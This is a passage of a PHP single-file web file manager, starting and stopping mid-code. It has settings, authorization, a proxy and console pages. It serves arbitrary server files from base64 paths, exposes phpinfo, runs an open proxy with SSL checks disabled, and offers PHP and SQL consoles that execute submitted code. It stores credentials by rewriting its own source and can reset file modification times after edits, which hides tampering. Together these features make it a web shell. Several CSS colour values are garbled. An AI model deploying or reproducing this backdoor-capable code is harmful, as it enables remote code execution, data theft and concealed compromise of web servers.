		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
